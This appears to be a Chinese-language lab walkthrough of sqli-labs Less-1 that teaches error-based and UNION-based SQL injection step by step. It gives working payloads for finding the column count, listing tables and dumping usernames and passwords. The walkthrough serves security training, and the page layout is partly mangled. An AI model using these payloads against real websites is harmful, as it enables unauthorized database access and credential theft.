前言
参考:
工具方面可用老版本的 Hackerbar,以及抓包工具 Burpsuite
Less-1
可先查看数据库的记录次数
-
一直增大 id 的值,当 id 的值大于 14,得到的是一个没有用户名和密码的空白页面,这意味着数据库只有 14 条记录
-
?id=1 …… ?id=141
2
3
4
5
6
7
8
9
10
**但是我们并不知道开发者具体是怎样封装 id 参数值的。所以得先找封装形式**
- 使用基于错误返回的 SQL 注入,单引号`'`或者转义符`\`
> 通过转义字符来找出 参数封装形式,在MYSQL中 '\'(反斜杠)被用来转义一个字符。转义一个字符意味着取消该字符的特殊用途。使用转义字符可以得到更清楚的图片。
- ```sql
?id=1'
?id=1\
-

- 破坏查询的同时,用
--+修复它的语法错误,--是 SQL 的注释语句- 输入
1'--+ - 或者输入
1'--%20(%20 URL编码为空格) - 或者输入
1'%23(%23 URL编码为 # )
- 输入
1 | SELECT * from table_name WHERE id='1'--+' LIMIT 0,1 |
使用联合查询
接下来在引号和 --+ 之间添加查询来获取数据库中的信息
-
通过
order by 1来查询有几列,之所以需要知道数据库有几列是因为联合查询 union 规定的,得知总共有 3 列-
?id=1' order by 1 --+--> 返回正确 -
?id=1' order by 4 --+--> 返回错误
-
1 | -- UNION,没有错误 |
但是我们得到的是第一个查询的结果集,为了将第二个查询的结果显示在屏幕上,我们必须将第一条查询的结果集置为EMPTY。这点可通过给定 id 一个不存在的值来实现。我们可以将 id 的值设为负或者大于14,因为前面已经发现了数据库中只有14条记录。
union
1 | ?id=-1' union select 1,2,3 --+ |
数据库的版本信息
1 | -- 数据库的版本信息 |
基于错误返回的SQL查询
基于联合查询的SQL注入
为了让联合注入工作,首先要知道数据库中的表名,键入
1 | id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database() --+ |
Your Login name:emails,referers,uagents,users
Your Password:3
注入
联合查询
1 | ?id=-1'+UNION+SELECT+1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+ |
报错注入
1 | ?id=1'+AND+(SELECT+1+FROM+(SELECT+COUNT(*),CONCAT((SELECT(SELECT+CONCAT(CAST(CONCAT(username,password)+AS+CHAR),0x7e))+FROM+users+LIMIT+0,1),FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.TABLES+GROUP+BY+x)a)--+ |
— 未完待续